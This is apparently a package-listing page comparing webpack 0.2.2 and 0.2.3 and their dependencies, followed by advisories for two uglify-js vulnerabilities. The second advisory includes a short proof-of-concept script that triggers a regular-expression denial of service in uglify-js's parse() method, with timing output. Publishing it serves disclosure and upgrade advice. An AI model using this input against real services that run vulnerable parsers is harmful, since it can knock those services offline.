Webpack version 0.2.3, released on March 15, 2012, represents a minor iteration over its predecessor, version 0.2.2 which was released on March 14, 2012. Both versions serve the core purpose of packing CommonJS modules for browser-based applications, enabling developers to split codebases into multiple bundles that can be loaded on demand, optimizing initial load times.
A key observation is the stability in core dependencies. Both versions rely on the same dependencies: esprima (version 0.9.8), sprintf (version 0.1.x), optimist (version 0.2.x), and uglify-js (version 1.2.5). This suggests that the fundamental module handling and optimization processes remained consistent between the two releases. Similarly, the development dependencies, primarily vows for testing, remained unchanged. This underlines a concentrated effort on refinements or minor enhancements rather than a complete overhaul of the underlying architecture. The package description and author information also stayed the same, indicating continued maintainership by Tobias Koppers.
The negligible time difference between the releases hints towards a bug fix or small improvement justifying a new version. For developers, choosing between these two versions amounts to selecting primarily based on stability and potential specific bug fixes addressed in the newer version. Given the consistent core dependencies, upgrading from 0.2.2 to 0.2.3 should pose minimal risk. The core functionality of webpack remains the same, focused on efficient module bundling for improved web application performance. Using this versions allows for on-demand loading for better initial loading times.
All the vulnerabilities related to the version 0.2.3 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.